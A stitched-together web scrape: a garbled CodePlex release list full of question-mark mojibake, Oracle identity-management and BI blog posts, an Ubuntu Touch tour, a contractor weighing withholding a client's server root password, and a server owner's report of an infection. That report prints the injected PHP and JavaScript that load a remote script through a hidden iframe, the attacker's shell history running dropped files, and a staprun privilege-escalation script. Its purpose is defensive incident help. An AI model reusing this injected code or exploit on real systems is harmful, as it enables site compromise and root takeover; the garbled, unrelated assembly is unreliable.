accoutsYourSqlDba: YourSqlDba 5.2.1.: This version improves alert message that comes a while after you install the script. First it says to get it from YourSqlDba.CodePlex.com If you don't want to update now, just-rerun the script from your installed version. To get actual version running just execute install.PrintVersionInfo. . You can go to source code / history and click on change set 72957 to see changes in the script.Manipulator: Manipulator: manipulatorXNB filetype plugin for Paint.NET: Paint.NET XNB plugin v0.4.0.0: CHANGELOG Reverted old incomplete changes. Updated library for compatibility with Paint .NET 4. Updated project to NET 4.5. Updated version to 0.4.0.0. INSTALLATION INSTRUCTIONS Extract the ZIP file to your Paint.NET\FileTypes folder.EdiFabric: Release 4.1: Changed MessageContextWix# (WixSharp) - managed interface for WiX: Release 1.0.0.0: Release 1.0.0.0 Custom UI Custom MSI Dialog Custom CLR Dialog External UIMath.NET Numerics: Math.NET Numerics v3.2.0: Linear Algebra: Vector.Map2 (map2 in F#), storage-optimized Linear Algebra: fix RemoveColumn/Row early index bound check (was not strict enough) Statistics: Entropy ~Jeff Mastry Interpolation: use Array.BinarySearch instead of local implementation ~Candy Chiu Resources: fix a corrupted exception message string Portable Build: support .Net 4.0 as well by using profile 328 instead of 344. .Net 3.5: F# extensions now support .Net 3.5 as well .Net 3.5: NuGet package now contains pro...babelua: 1.6.5.1: V1.6.5.1 - 2014.8.7New feature: Formatting code; Stability improvement: fix a bug that pop up error "System.Net.WebResponse EndGetResponse";New ProjectsDouDou: a little project.Dynamic MVC: Dynamically generate views from your model objects for a data centric MVC application.EasyDb - Simple Data Access: EasyDb is a simple library for data access that allows you to write less code.ExpressToAbroad: just go!!!!!Full Silverlight Web Video/Voice Conferencing: The Goal of this project is to provide complete Open Source (Voice/Video Chatting Client/Server) Modules Using SilverlightGaia: Gaia is an app for Windows plataform, Gaia is like Siri and Google Now or Betty but Gaia use only text commands.pxctest: pxctestSTACS: Career Management System for MIT by Team "STACS"StrongWorld: StrongWorld.WebSuiteXevas Tools: Xevas is a professional coders group of 'Nimbuzz'. We make all tools for worldwide users of nimbuzz at free of cost.????????: ????????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ????????????????: ????????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ????????????????: ????????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ???????????????: ????????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ??????????????: ????????????????: ????????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ??????????????: ???????????????: ???????????????: ??????????????: ??????????????: ??????????????: ????????????????: ?????????

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  • Partner Blog Series: PwC Perspectives Part 2 - Jumpstarting your IAM program with R2

    - by Tanu Sood
    Identity and access management (IAM) isn’t a new concept. Over the past decade, companies have begun to address identity management through a variety of solutions that have primarily focused on provisioning. . The new age workforce is converging at a rapid pace with ever increasing demand to use diverse portfolio of applications and systems to interact and interface with their peers in the industry and customers alike. Oracle has taken a significant leap with their release of Identity and Access Management 11gR2 towards enabling this global workforce to conduct their business in a secure, efficient and effective manner. As companies deal with IAM business drivers, it becomes immediately apparent that holistic, rather than piecemeal, approaches better address their needs. When planning an enterprise-wide IAM solution, the first step is to create a common framework that serves as the foundation on which to build the cost, compliance and business process efficiencies. As a leading industry practice, IAM should be established on a foundation of accurate data for identity management, making this data available in a uniform manner to downstream applications and processes. Mature organizations are looking beyond IAM’s basic benefits to harness more advanced capabilities in user lifecycle management. For any organization looking to embark on an IAM initiative, consider the following use cases in managing and administering user access. Expanding the Enterprise Provisioning Footprint Almost all organizations have some helpdesk resources tied up in handling access requests from users, a distraction from their core job of handling problem tickets. This dependency has mushroomed from the traditional acceptance of provisioning solutions integrating and addressing only a portion of applications in the heterogeneous landscape Oracle Identity Manager (OIM) 11gR2 solves this problem by offering integration with third party ticketing systems as “disconnected applications”. It allows for the existing business processes to be seamlessly integrated into the system and tracked throughout its lifecycle. With minimal effort and analysis, an organization can begin integrating OIM with groups or applications that are involved with manually intensive access provisioning and de-provisioning activities. This aspect of OIM allows organizations to on-board applications and associated business processes quickly using out of box templates and frameworks. This is especially important for organizations looking to fold in users and resources from mergers and acquisitions. Simplifying Access Requests Organizations looking to implement access request solutions often find it challenging to get their users to accept and adopt the new processes.. So, how do we improve the user experience, make it intuitive and personalized and yet simplify the user access process? With R2, OIM helps organizations alleviate the challenge by placing the most used functionality front and centre in the new user request interface. Roles, application accounts, and entitlements can all be found in the same interface as catalog items, giving business users a single location to go to whenever they need to initiate, approve or track a request. Furthermore, if a particular item is not relevant to a user’s job function or area inside the organization, it can be hidden so as to not overwhelm or confuse the user with superfluous options. The ability to customize the user interface to suit your needs helps in exercising the business rules effectively and avoiding access proliferation within the organization. Saving Time with Templates A typical use case that is most beneficial to business users is flexibility to place, edit, and withdraw requests based on changing circumstances and business needs. With OIM R2, multiple catalog items can now be added and removed from the shopping cart, an ecommerce paradigm that many users are already familiar with. This feature can be especially useful when setting up a large number of new employees or granting existing department or group access to a newly integrated application. Additionally, users can create their own shopping cart templates in order to complete subsequent requests more quickly. This feature saves the user from having to search for and select items all over again if a request is similar to a previous one. Advanced Delegated Administration A key feature of any provisioning solution should be to empower each business unit in managing their own access requests. By bringing administration closer to the user, you improve user productivity, enable efficiency and alleviate the administration overhead. To do so requires a federated services model so that the business units capable of shouldering the onus of user life cycle management of their business users can be enabled to do so. OIM 11gR2 offers advanced administrative options for creating, managing and controlling business logic and workflows through easy to use administrative interface and tools that can be exposed to delegated business administrators. For example, these business administrators can establish or modify how certain requests and operations should be handled within their business unit based on a number of attributes ranging from the type of request or the risk level of the individual items requested. Closed-Loop Remediation Security continues to be a major concern for most organizations. Identity management solutions bolster security by ensuring only the right users have the right access to the right resources. To prevent unauthorized access and where it already exists, the ability to detect and remediate it, are key requirements of an enterprise-grade proven solution. But the challenge with most solutions today is that some of this information still exists in silos. And when changes are made to systems directly, not all information is captured. With R2, oracle is offering a comprehensive Identity Governance solution that our customer organizations are leveraging for closed loop remediation that allows for an automated way for administrators to revoke unauthorized access. The change is automatically captured and the action noted for continued management. Conclusion While implementing provisioning solutions, it is important to keep the near term and the long term goals in mind. The provisioning solution should always be a part of a larger security and identity management program but with the ability to seamlessly integrate not only with the company’s infrastructure but also have the ability to leverage the information, business models compiled and used by the other identity management solutions. This allows organizations to reduce the cost of ownership, close security gaps and leverage the existing infrastructure. And having done so a multiple clients’ sites, this is the approach we recommend. In our next post, we will take a journey through our experiences of advising clients looking to upgrade to R2 from a previous version or migrating from a different solution. Meet the Writers:   Praveen Krishna is a Manager in the Advisory Security practice within PwC.  Over the last decade Praveen has helped clients plan, architect and implement Oracle identity solutions across diverse industries.  His experience includes delivering security across diverse topics like network, infrastructure, application and data where he brings a holistic point of view to problem solving. Dharma Padala is a Director in the Advisory Security practice within PwC.  He has been implementing medium to large scale Identity Management solutions across multiple industries including utility, health care, entertainment, retail and financial sectors.   Dharma has 14 years of experience in delivering IT solutions out of which he has been implementing Identity Management solutions for the past 8 years. Scott MacDonald is a Director in the Advisory Security practice within PwC.  He has consulted for several clients across multiple industries including financial services, health care, automotive and retail.   Scott has 10 years of experience in delivering Identity Management solutions. John Misczak is a member of the Advisory Security practice within PwC.  He has experience implementing multiple Identity and Access Management solutions, specializing in Oracle Identity Manager and Business Process Engineering Language (BPEL). Jenny (Xiao) Zhang is a member of the Advisory Security practice within PwC.  She has consulted across multiple industries including financial services, entertainment and retail. Jenny has three years of experience in delivering IT solutions out of which she has been implementing Identity Management solutions for the past one and a half years.

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  • BI Applications overview

    - by sv744
    Welcome to Oracle BI applications blog! This blog will talk about various features, general roadmap, description of functionality and implementation steps related to Oracle BI applications. In the first post we start with an overview of the BI apps and will delve deeper into some of the topics below in the upcoming weeks and months. If there are other topics you would like us to talk about, pl feel free to provide feedback on that. The Oracle BI applications are a set of pre-built applications that enable pervasive BI by providing role-based insight for each functional area, including sales, service, marketing, contact center, finance, supplier/supply chain, HR/workforce, and executive management. For example, Sales Analytics includes role-based applications for sales executives, sales management, as well as front-line sales reps, each of whom have different needs. The applications integrate and transform data from a range of enterprise sources—including Siebel, Oracle, PeopleSoft, SAP, and others—into actionable intelligence for each business function and user role. This blog  starts with the key benefits and characteristics of Oracle BI applications. In a series of subsequent blogs, each of these points will be explained in detail. Why BI apps? Demonstrate the value of BI to a business user, show reports / dashboards / model that can answer their business questions as part of the sales cycle. Demonstrate technical feasibility of BI project and significantly lower risk and improve success Build Vs Buy benefit Don’t have to start with a blank sheet of paper. Help consolidate disparate systems Data integration in M&A situations Insulate BI consumers from changes in the OLTP Present OLTP data and highlight issues of poor data / missing data – and improve data quality and accuracy Prebuilt Integrations BI apps support prebuilt integrations against leading ERP sources: Fusion Applications, E- Business Suite, Peoplesoft, JD Edwards, Siebel, SAP Co-developed with inputs from functional experts in BI and Applications teams. Out of the box dimensional model to source model mappings Multi source and Multi Instance support Rich Data Model    BI apps have a very rich dimensionsal data model built over 10 years that incorporates best practises from BI modeling perspective as well as reflect the source system complexities  Thanks for reading a long post, and be on the lookout for future posts.  We will look forward to your valuable feedback on these topics as well as suggestions on what other topics would you like us to cover. I Conformed dimensional model across all business subject areas allows cross functional reporting, e.g. customer / supplier 360 Over 360 fact tables across 7 product areas CRM – 145, SCM – 47, Financials – 28, Procurement – 20, HCM – 27, Projects – 18, Campus Solutions – 21, PLM - 56 Supported by 300 physical dimensions Support for extensive calendars; Gregorian, enterprise and ledger based Conformed data model and metrics for real time vs warehouse based reporting  Multi-tenant enabled Extensive BI related transformations BI apps ETL and data integration support various transformations required for dimensional models and reporting requirements. All these have been distilled into common patterns and abstracted logic which can be readily reused across different modules Slowly Changing Dimension support Hierarchy flattening support Row / Column Hybrid Hierarchy Flattening As Is vs. As Was hierarchy support Currency Conversion :-  Support for 3 corporate, CRM, ledger and transaction currencies UOM conversion Internationalization / Localization Dynamic Data translations Code standardization (Domains) Historical Snapshots Cycle and process lifecycle computations Balance Facts Equalization of GL accounting chartfields/segments Standardized values for categorizing GL accounts Reconciliation between GL and subledgers to track accounted/transferred/posted transactions to GL Materialization of data only available through costly and complex APIs e.g. Fusion Payroll, EBS / Fusion Accruals Complex event Interpretation of source data – E.g. o    What constitutes a transfer o    Deriving supervisors via position hierarchy o    Deriving primary assignment in PSFT o    Categorizing and transposition to measures of Payroll Balances to specific metrics to support side by side comparison of measures of for example Fixed Salary, Variable Salary, Tax, Bonus, Overtime Payments. o    Counting of Events – E.g. converting events to fact counters so that for example the number of hires can easily be added up and compared alongside the total transfers and terminations. Multi pass processing of multiple sources e.g. headcount, salary, promotion, performance to allow side to side comparison. Adding value to data to aid analysis through banding, additional domain classifications and groupings to allow higher level analytical reporting and data discovery Calculation of complex measures examples: o    COGs, DSO, DPO, Inventory turns  etc o    Transfers within a Hierarchy or out of / into a hierarchy relative to view point in hierarchy. Configurability and Extensibility support  BI apps offer support for extensibility for various entities as automated extensibility or part of extension methodology Key Flex fields and Descriptive Flex support  Extensible attribute support (JDE)  Conformed Domains ETL Architecture BI apps offer a modular adapter architecture which allows support of multiple product lines into a single conformed model Multi Source Multi Technology Orchestration – creates load plan taking into account task dependencies and customers deployment to generate a plan based on a customers of multiple complex etl tasks Plan optimization allowing parallel ETL tasks Oracle: Bit map indexes and partition management High availability support    Follow the sun support. TCO BI apps support several utilities / capabilities that help with overall total cost of ownership and ensure a rapid implementation Improved cost of ownership – lower cost to deploy On-going support for new versions of the source application Task based setups flows Data Lineage Functional setup performed in Web UI by Functional person Configuration Test to Production support Security BI apps support both data and object security enabling implementations to quickly configure the application as per the reporting security needs Fine grain object security at report / dashboard and presentation catalog level Data Security integration with source systems  Extensible to support external data security rules Extensive Set of KPIs Over 7000 base and derived metrics across all modules Time series calculations (YoY, % growth etc) Common Currency and UOM reporting Cross subject area KPIs (analyzing HR vs GL data, drill from GL to AP/AR, etc) Prebuilt reports and dashboards 3000+ prebuilt reports supporting a large number of industries Hundreds of role based dashboards Dynamic currency conversion at dashboard level Highly tuned Performance The BI apps have been tuned over the years for both a very performant ETL and dashboard performance. The applications use best practises and advanced database features to enable the best possible performance. Optimized data model for BI and analytic queries Prebuilt aggregates& the ability for customers to create their own aggregates easily on warehouse facts allows for scalable end user performance Incremental extracts and loads Incremental Aggregate build Automatic table index and statistics management Parallel ETL loads Source system deletes handling Low latency extract with Golden Gate Micro ETL support Bitmap Indexes Partitioning support Modularized deployment, start small and add other subject areas seamlessly Source Specfic Staging and Real Time Schema Support for source specific operational reporting schema for EBS, PSFT, Siebel and JDE Application Integrations The BI apps also allow for integration with source systems as well as other applications that provide value add through BI and enable BI consumption during operational decision making Embedded dashboards for Fusion, EBS and Siebel applications Action Link support Marketing Segmentation Sales Predictor Dashboard Territory Management External Integrations The BI apps data integration choices include support for loading extenral data External data enrichment choices : UNSPSC, Item class etc. Extensible Spend Classification Broad Deployment Choices Exalytics support Databases :  Oracle, Exadata, Teradata, DB2, MSSQL ETL tool of choice : ODI (coming), Informatica Extensible and Customizable Extensible architecture and Methodology to add custom and external content Upgradable across releases

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  • Partner Blog Series: PwC Perspectives - Looking at R2 for Customer Organizations

    - by Tanu Sood
    Welcome to the first of our partner blog series. November Mondays are all about PricewaterhouseCoopers' perespective on Identity and R2. In this series, we have identity management experts from PricewaterhouseCoopers (PwC) share their perspective on (and experiences with) the recent identity management release, Oracle Identity Management R2. The purpose of the series is to discuss real world identity use cases that helped shape the innovations in the recent R2 release and the implementation strategies that customers are employing today with expertise from PwC. Part 1: Looking at R2 for Customer Organizations In this inaugural post, we will discuss some of the new features of the R2 release of Oracle Identity Manager that some of our customer organizations are implementing today and the business rationale for those. Oracle's R2 Security portfolio represents a solid step forward for a platform that is already market-leading.  Prior to R2, Oracle was an industry titan in security with reliable products, expansive compatibility, and a large customer base.  Oracle has taken their identity platform to the next level in their latest version, R2.  The new features include a customizable UI, a request catalog, flexible security, and enhancements for its connectors, and more. Oracle customers will be impressed by the new Oracle Identity Manager (OIM) business-friendly UI.  Without question, Oracle has invested significant time in responding to customer feedback about making access requests and related activities easier for non-IT users.  The flexibility to add information to screens, hide fields that are not important to a particular customer, and adjust web themes to suit a company's preference make Oracle's Identity Manager stand out among its peers.  Customers can also expect to carry UI configurations forward with minimal migration effort to future versions of OIM.  Oracle's flexible UI will benefit many organizations looking for a customized feel with out-of-the-box configurations. Organizations looking to extend their services to end users will benefit significantly from new usability features like OIM’s ‘Catalog.’  Customers familiar with Oracle Identity Analytics' 'Glossary' feature will be able to relate to the concept.  It will enable Roles, Entitlements, Accounts, and Resources to be requested through the out-of-the-box UI.  This is an industry-changing feature as customers can make the process to request access easier than ever.  For additional ease of use, Oracle has introduced a shopping cart style request interface that further simplifies the experience for end users.  Common requests can be setup as profiles to save time.  All of this is combined with the approval workflow engine introduced in R1 that provides the flexibility customers need to meet their compliance requirements. Enhanced security was also on the list of features Oracle wanted to deliver to its customers.  The new end-user UI provides additional granular access controls.  Common Help Desk use cases can be implemented with ease by updating the application profiles.  Access can be rolled out so that administrators can only manage a certain department or organization.  Further, OIM can be more easily configured to select which fields can be read-only vs. updated.  Finally, this security model can be used to limit search results for roles and entitlements intended for a particular department.  Every customer has a different need for access and OIM now matches this need with a flexible security model. One of the important considerations when selecting an Identity Management platform is compatibility.  The number of supported platform connectors and how well it can integrate with non-supported platforms is a key consideration for selecting an identity suite.  Oracle has a long list of supported connectors.  When a customer has a requirement for a platform not on that list, Oracle has a solution too.  Oracle is introducing a simplified architecture called Identity Connector Framework (ICF), which holds the potential to simplify custom connectors.  Finally, Oracle has introduced a simplified process to profile new disconnected applications from the web browser.  This is a useful feature that enables administrators to profile applications quickly as well as empowering the application owner to fulfill requests from their web browser.  Support will still be available for connectors based on previous versions in R2. Oracle Identity Manager's new R2 version has delivered many new features customers have been asking for.  Oracle has matured their platform with R2, making it a truly distinctive platform among its peers. In our next post, expect a deep dive into use cases for a customer considering R2 as their new Enterprise identity solution. In the meantime, we look forward to hearing from you about the specific challenges you are facing and your experience in solving those. Meet the Writers Dharma Padala is a Director in the Advisory Security practice within PwC.  He has been implementing medium to large scale Identity Management solutions across multiple industries including utility, health care, entertainment, retail and financial sectors.   Dharma has 14 years of experience in delivering IT solutions out of which he has been implementing Identity Management solutions for the past 8 years. Scott MacDonald is a Director in the Advisory Security practice within PwC.  He has consulted for several clients across multiple industries including financial services, health care, automotive and retail.   Scott has 10 years of experience in delivering Identity Management solutions. John Misczak is a member of the Advisory Security practice within PwC.  He has experience implementing multiple Identity and Access Management solutions, specializing in Oracle Identity Manager and Business Process Engineering Language (BPEL). Jenny (Xiao) Zhang is a member of the Advisory Security practice within PwC.  She has consulted across multiple industries including financial services, entertainment and retail. Jenny has three years of experience in delivering IT solutions out of which she has been implementing Identity Management solutions for the past one and a half years. Praveen Krishna is a Manager in the Advisory  Security practice within PwC.  Over the last decade Praveen has helped clients plan, architect and implement Oracle identity solutions across diverse industries.  His experience includes delivering security across diverse topics like network, infrastructure, application and data where he brings a holistic point of view to problem solving.

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  • Screenshot Tour: Ubuntu Touch 14.04 on a Nexus 7

    - by Chris Hoffman
    Ubuntu 14.04 LTS will “form the basis of the first commercially available Ubuntu tablets,” according to Canonical. We installed Ubuntu Touch 14.04 on our own hardware to see what those tablets will be like. We don’t recommend installing this yourself, as it’s still not a polished, complete experience. We’re using “Ubuntu Touch” as shorthand here — apparently this project’s new name is “Ubuntu For Devices.” The Welcome Screen Ubuntu’s touch interface is all about edge swipes and hidden interface elements — it has a lot in common with Windows 8, actually. You’ll see the welcome screen when you boot up or unlock a Ubuntu tablet or phone. If you have new emails, text messages, or other information, it will appear on this screen along with the time and date. If you don’t, you’ll just see a message saying “No data sources available.” The Dash Swipe in from the right edge of the welcome screen to access the Dash, or home screen. This is actually very similar to the Dash on Ubuntu’s Unity desktop. This isn’t a surprise — Canonical wants the desktop and touch versions of Ubuntu to use the same code. In the future, the desktop and touch versions of Ubuntu will use the same version of Unity and Unity will adjust its interface depending on what type of device your’e using. Here you’ll find apps you have installed and apps available to install. Tap an installed app to launch it or tap an available app to view more details and install it. Tap the My apps or Available headings to view a complete list of apps you have installed or apps you can install. Tap the Search box at the top of the screen to start searching — this is how you’d search for new apps to install. As you’d expect, a touch keyboard appears when you tap in the Search field or any other text field. The launcher isn’t just for apps. Tap the Apps heading at the top of the screen and you’ll see hidden text appear — Music, Video, and Scopes. This hidden navigation is used throughout Ubuntu’s different apps and can be easy to miss at first. Swipe to the left or right to move between these screens. These screens are also similar to the different panels in Unity on the desktop. The Scopes section allows you to view different search scopes you have installed. These are used to search different sources when you start a search from the Dash. Search from the Music or Videos scopes to search for local media files on your device or media files online. For example, searching in the Music scope will show you music results from Grooveshark by default. Navigating Ubuntu Touch Swipe in from the left edge anywhere on the system to open the launcher, a bar with shortcuts to apps. This launcher is very similar to the launcher on the left of Ubuntu’s Unity desktop — that’s the whole idea, after all. Once you’ve opened an app, you can leave the app by swiping in from the left. The launcher will appear — keep moving your finger towards the right edge of teh screen. This will swipe the current app off the screen, taking you back to the Dash. Once back on the Dash, you’ll see your open apps represented as thumbnails under Recent. Tap a thumbnail here to go back to a running app. To remove an app from here, long-press it and tap the X button that appears. Swipe in from the right edge in any app to quickly switch between recent apps. Swipe in from the right edge and hold your finger down to reveal an application switcher that shows all your recent apps and lets you choose between them. Swipe down from the top of the screen to access the indicator panel. Here you can connect to Wi-Fi networks, view upcoming events, control GPS and Bluetooth hardware, adjust sound settings, see incoming messages, and more. This panel is for quick access to hardware settings and notifications, just like the indicators on Ubuntu’s Unity desktop. The Apps System settings not included in the pull-down panel are available in the System Settings app. To access it, tap My apps on the Dash and tap System Settings, search for the System Settings app, or open the launcher bar and tap the settings icon. The settings here a bit limited compared to other operating systems, but many of the important options are available here. You can add Evernote, Ubuntu One, Twitter, Facebook, and Google accounts from here. A free Ubuntu One account is mandatory for downloading and updating apps. A Google account can be used to sync contacts and calendar events. Some apps on Ubuntu are native apps, while many are web apps. For example, the Twitter, Gmail, Amazon, Facebook, and eBay apps included by default are all web apps that open each service’s mobile website as an app. Other applications, such as the Weather, Calendar, Dialer, Calculator, and Notes apps are native applications. Theoretically, both types of apps will be able to scale to different screen resolutions. Ubuntu Touch and Ubuntu desktop may one day share the same apps, which will adapt to different display sizes and input methods. Like Windows 8 apps, Ubuntu apps hide interface elements by default, providing you with a full-screen view of the content. Swipe up from the bottom of an app’s screen to view its interface elements. For example, swiping up from the bottom of the Web Browser app reveals Back, Forward, and Refresh buttons, along with an address bar and Activity button so you can view current and recent web pages. Swipe up even more from the bottom and you’ll see a button hovering in the middle of the app. Tap the button and you’ll see many more settings. This is an overflow area for application options and functions that can’t fit on the navigation bar. The Terminal app has a few surprising Easter eggs in this panel, including a “Hack into the NSA” option. Tap it and the following text will appear in the terminal: That’s not very nice, now tracing your location . . . . . . . . . . . .Trace failed You got away this time, but don’t try again. We’d expect to see such Easter eggs disappear before Ubuntu Touch actually ships on real devices. Ubuntu Touch has come a long way, but it’s still not something you want to use today. For example, it doesn’t even have a built-in email client — you’ll have to us your email service’s mobile website. Few apps are available, and many of the ones that are are just mobile websites. It’s not a polished operating system intended for normal users yet — it’s more of a preview for developers and device manufacturers. If you really want to try it yourself, you can install it on a Wi-Fi Nexus 7 (2013), Nexus 10, or Nexus 4 device. Follow Ubuntu’s installation instructions here.

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  • I'm a contract developer and I think I'm about to get screwed [closed]

    - by kagaku
    I do contract development on the side. You could say that I'm a contract developer? Considering I've only ever had one client I'd say that's not exactly the truth - more like I took a side job and needed some extra cash. It started out as a "rebuild our website and we'll pay you $10k" type project. Once that was complete (a bit over schedule, but certainly not over budget), the company hired me on as a "long term support" contractor. The contract is to go from March of this year, expiring on December 31st of this year - 10 months. Over which a payment is to be paid on the 30th of each month for a set amount. I've been fulfilling my end of the contract on all points - doing server maintenence, application and database changes, doing huge rush changes and pretty much just going above and beyond. Currently I'm in the middle of development of an iPhone mobile application (PhoneGap based) which is nearing completion (probably 3-4 weeks from submission). It has not been all peaches and flowers though. Each and every month when my paycheck comes due, there always seems to be an issue of sorts. These issues did not occur during the initial project, only during the support contract. The actual contract states that my check should be mailed out on the 30th of the month. I have received my check on time approximately once (on time being about 2-3 days within the 30th). I've received my paycheck as late as the 15th of the next month - over two weeks late. I've put up with it because I need the paycheck. There have been promises and promises of "we'll send it out on time next time! I promise" - only to receive it just as late the next month. When I ask about payment they give me a vibe like "why are you only worried about money?" - unfortunately I don't have the luxury of not worrying about money. The last straw was with my August payment, which should have been mailed on August 30th. I received it on September 12th. The reason for the delay? "USPS is delaying it man! we sent it out on the 1st!" is the reason I got. When I finally got the check in the mail, the postage on the envelope was marked September 10th - the date it was run through the postage machine. I've been outright lied to, at this point. I carry on working, because again - I need a paycheck. I orchestrated the move of our application to a new server, developed a bunch of new changes and continued work on the iPhone app. All told I probably went over my hourly allotment (I'm paid for 40 hours a month, I probably put in at least 50). On Saturday, the 1st, I gave the main contact at the company (a company of 3, by the way - this is not some big corporation) a ring and filled him in on the status of my work for the past two weeks. Unusually I hadn't heard from him since the middle of September. His response was "oh... well, that is nice and uh.. good job. well, we've been talking within the company about things and we've certainly got some decisions ahead of us..." - not verbatim but you get the idea (I hope?). I got out of this conversation that the site is not doing very well (which it's not) and they're considering pulling the plug. Crap, this contract is going to end early - there goes Christmas! Fine, that's alright, no problem. I'll get paid for the last months work and call it a day. Unfortunately I still haven't gotten last months check, and I'm getting dicked around now. "Oh.. we had problems transferring funds, we'll try and mail it out tomorrow" and "I left a VM with the finance guy, but I can't get ahold of him". So I'm getting the feeling I'm not getting paid for all the work I put in for September. This is obviously breach of contract, and I am pissed. Thinking irrationally, I considered changing all their passwords and holding their stuff hostage. Before I think it through (by the way, I am NOT going to do this, realized it would probably get me in trouble), I go and try some passwords for our various accounts. Google Apps? Oh, I'm no longer administrator here. Godaddy? Whoops, invalid password. Disqus? Nope, invalid password here too. Google Adsense / Analytics? Invalid password. Dedicated server account manager? Invalid password. Now, I have the servers root password - I just built the box last week and haven't had a chance to send the guy the root password. Wasn't in a rush, I manage the server and they never touch it. Now all of a sudden all the passwords except this one are changed; the writing is on the wall - I am out. Here's the conundrum. I have the root password, they do not. If I give them this password all the leverage I have is gone, out the door and out of my hands. During this argument of why am I not getting paid the guy sends me an email saying "oh by the way, what's the root username and password to the server?". Considering he knows absolutely nothing, I gave him an "admin" account which really has almost no rights. I still have exclusive access to the server, I just don't know where to go. I can hold their data hostage, but I'm almost positive this is the wrong thing to do. I'd consider it blackmail, regardless of whether or not I have gotten paid yet. I can "break" something on the server and give them the whole "well, if you were paying me I could fix it!" spiel. This works from a "well he's not holding their stuff hostage" point of view, but what stops them from hiring some one else to just fix the issue at hand? For all I know the guys nephew is a "l33t hax0r" and can figure it out for free. I can give in, document as much as I can and take him to small claims court. This is breach of contract, I'm not getting paid. I have a case, right? ???? Does anyone have any experience in this? What can I do? What are my options? I'm broke, I can't afford a lawyer and I can barely afford not getting this paycheck. My wife doesn't work (I work two jobs so she doesn't have to work - we have a 1 year old) and is already looking at getting a part time job to cover the bills. Long term we'll be fine, but this has pissed me off beyond belief! Help me out, I'm about to get screwed.

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  • Mass targeted malware installed - g00glestatic.com [closed]

    - by Silver89
    Possible Duplicate: My server’s been hacked EMERGENCY I run a webserver which over the last few days seems to have become infected with malware that tries to include content from "http://g00glestatic.com/s.js" It appears the attacker gained access to one of the user accounts (not root), made a few changes, added a few files and ran a few bash commands. These changes stuck out clearly to me because it is not a shared server and I am the only person with access through very secure passwords. The php/javascript code that was added .php files, this code was added: #9c282e# if(!$srvc_counter) { echo "<script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>"; $srvc_counter = true;} #/9c282e# .js files, this code was added: /*9c282e*/ var _f = document.createElement('iframe'),_r = 'setAttribute'; _f[_r]('src', 'http://g00glestatic.com/s.js'); _f.style.position = 'absolute';_f.style.width = '10px'; _f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1); _f.style.left = '-5540px'; document.write('<div id=\'MIX_ADS\'></div>'); document.getElementById('MIX_ADS').appendChild(_f); /*/9c282e*/ The bash command taken from .bash_history (Some usernames/passwords have been subbed) su -c id $replacedPassword id; id; sudo id; replacedPassword id; cd /home/replacedUserId1; chmod +x .sess_28e2f1bc755ed3ca48b32fbcb55b91a7; ./.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; rm /home/replacedUserId1/.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; id; cd /home/replacedUserId1; chmod +x .sess_05ee5257fed0ac8e0f12096f4c3c0d20; ./.sess_05ee5257fed0ac8e0f12096f4c3c0d20; rm /home/replacedUserId1/.sess_05ee5257fed0ac8e0f12096f4c3c0d20; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; ./.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; rm /home/replacedUserId1/.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; id; kill -9 $$;; kill -9 $$;; kill -9 $$; The above seems to move files added to the public_html to the level above? I also have all 4 of the files that were added: .sess_28e2f1bc755ed3ca48b32fbcb55b91a7 .sess_05ee5257fed0ac8e0f12096f4c3c0d20 .sess_bfa542fc2578cce68eb373782c5689b9 .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e Of those four above files, three are none viewable in notepad++ and display null characters, whereas sess_fb19dfb52ed4a3ae810cd4454ac6ef1e consists of: #!/bin/sh export PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin; export LC_ALL=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 export TERM=linux echo -n "-> checking staprun: "; if which staprun 2>&1 | grep -q "no $1"; then flag=1 elif [ -z "`which $1 2>&1`" ]; then flag=1; fi if [ "$flag" = "1" ]; then echo "no staprun, exiting"; exit; else echo "found"; echo "-> trying to exploit... "; printf "install uprobes /bin/sh" > ololo.conf; MODPROBE_OPTIONS="-C ololo.conf" staprun -u ololo rm -f ololo.conf fi Other Noticeable Edits Any files that contain: ([.htaccess]|[index|header|footer].php|[*.js]) will have been modified and all system file 